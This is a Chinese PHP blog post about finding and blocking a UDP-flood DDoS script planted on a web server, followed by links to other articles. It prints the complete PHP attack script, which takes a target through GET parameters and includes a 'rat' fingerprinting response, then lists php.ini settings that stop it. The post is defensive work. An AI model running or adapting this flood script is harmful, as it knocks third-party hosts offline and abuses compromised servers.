php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
PHP的FTP学习(一)[转自奥索]
Oct 09 PHP
php error_log 函数的使用
Apr 13 PHP
PHP下打开URL地址的几种方法小结
May 16 PHP
php的一些小问题
Jul 03 PHP
最新用php获取谷歌PR值算法,附上php查询PR值代码示例
Dec 25 PHP
PHP基础陷阱题(变量赋值)
Sep 12 PHP
php生成扇形比例图实例
Nov 06 PHP
php写入、删除与复制文件的方法
Jun 20 PHP
微信小程序 消息推送php服务器验证实例详解
Mar 30 PHP
php7安装mongoDB扩展的方法分析
Aug 02 PHP
PHP给源代码加密的几种方法汇总(推荐)
Feb 06 PHP
PHP进阶学习之垃圾回收机制详解
Jun 18 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
详解Yii实现分页的两种方法
2017/01/14 PHP
JavaScript 权威指南(第四版) 读书笔记
2009/08/11 Javascript
使用js获取QueryString的方法小结
2010/02/28 Javascript
Javascript 面向对象 继承
2010/05/13 Javascript
JavaScript中的eval()函数使用介绍
2014/12/31 Javascript
jqGrid表格应用之新增与删除数据附源码下载
2015/12/02 Javascript
酷炫jQuery全屏3D焦点图动画效果
2016/03/22 Javascript
如何实现星星评价(jquery.raty.js插件)
2016/12/21 Javascript
Javascript中的prototype与继承
2017/02/06 Javascript
js学习总结_轮播图之渐隐渐现版(实例讲解)
2017/07/17 Javascript
慕课网题目之js实现抽奖系统功能
2017/09/19 Javascript
你应该知道的几类npm依赖包管理详解
2017/10/06 Javascript
three.js中文文档学习之创建场景
2017/11/20 Javascript
JS使用对象的defineProperty进行变量监控操作示例
2019/02/02 Javascript
JavaScript Tab菜单实现过程解析
2020/05/13 Javascript
Python使用matplotlib的pie函数绘制饼状图功能示例
2018/01/08 Python
Python cookbook(数据结构与算法)同时对数据做转换和换算处理操作示例
2018/03/23 Python
pyqt 实现在Widgets中显示图片和文字的方法
2019/06/13 Python
python实现截取屏幕保存文件,删除N天前截图的例子
2019/08/27 Python
Python 内置函数globals()和locals()对比详解
2019/12/23 Python
Java多线程实现四种方式原理详解
2020/06/02 Python
python编写softmax函数、交叉熵函数实例
2020/06/11 Python
Prometheus开发中间件Exporter过程详解
2020/11/30 Python
css3进行截取替代js的substring
2013/09/02 HTML / CSS
html5教程制作简单画板代码分享
2013/12/04 HTML / CSS
HTML中meta标签及Keywords
2020/04/15 HTML / CSS
idealfit英国:世界领先的女性健身用品和运动衣物品牌
2017/11/25 全球购物
Clos19英国:高档香槟、葡萄酒和烈酒在线购物平台
2020/07/10 全球购物
班级活动策划书
2014/02/06 职场文书
酒店管理毕业生自我鉴定
2014/03/02 职场文书
晚会主持词开场白
2014/03/17 职场文书
公司委托书格式范本
2014/09/16 职场文书
医生党的群众路线教育实践活动个人对照检查材料
2014/09/23 职场文书
谢师宴学生致辞
2015/07/27 职场文书
美国运营商 T-Mobile 以 117.83Mb/s 的速度排第一位
2022/04/21 数码科技
彻底弄懂Python中的回调函数(callback)
2022/06/25 Python